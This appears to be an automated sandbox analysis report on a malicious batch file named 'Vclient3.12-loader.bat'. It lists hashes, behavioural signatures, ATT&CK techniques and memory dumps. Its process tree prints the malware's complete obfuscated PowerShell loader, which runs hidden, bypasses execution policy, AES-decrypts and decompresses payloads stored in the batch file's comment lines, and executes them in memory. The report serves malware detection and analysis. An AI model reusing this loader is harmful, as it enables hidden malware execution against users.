f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04/03/2025, 03:31

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General

Target

Vclient3.12-loader.bat
Size

337KB
MD5

b0b26501fa33bc553f9a54ca28a89a85
SHA1

9f868d7d464375d1ea60c5234f4dd057ea85fce1
SHA256

f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473
SHA512

fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069
SSDEEP

6144:7rVhpfca9iHDDTI3nozeFFDNwPlxR+RG7PrwzZ0qw/FU1qBIEhY:dbaHDunIxoRWrOZ05U11EhY

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 2996	1732	cmd.exe	31
PID 1732 wrote to memory of 2996	1732	cmd.exe	31
PID 1732 wrote to memory of 2996	1732	cmd.exe	31
PID 2996 wrote to memory of 2684	2996	net.exe	32
PID 2996 wrote to memory of 2684	2996	net.exe	32
PID 2996 wrote to memory of 2684	2996	net.exe	32
PID 1732 wrote to memory of 2328	1732	cmd.exe	33
PID 1732 wrote to memory of 2328	1732	cmd.exe	33
PID 1732 wrote to memory of 2328	1732	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2328-4-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2328-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2328-6-0x00000000029A0000-0x00000000029A8000-memory.dmp

Filesize
32KB

Download
memory/2328-7-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2328-8-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2328-10-0x0000000002B8B000-0x0000000002BF2000-memory.dmp

Filesize
412KB

Download
memory/2328-9-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download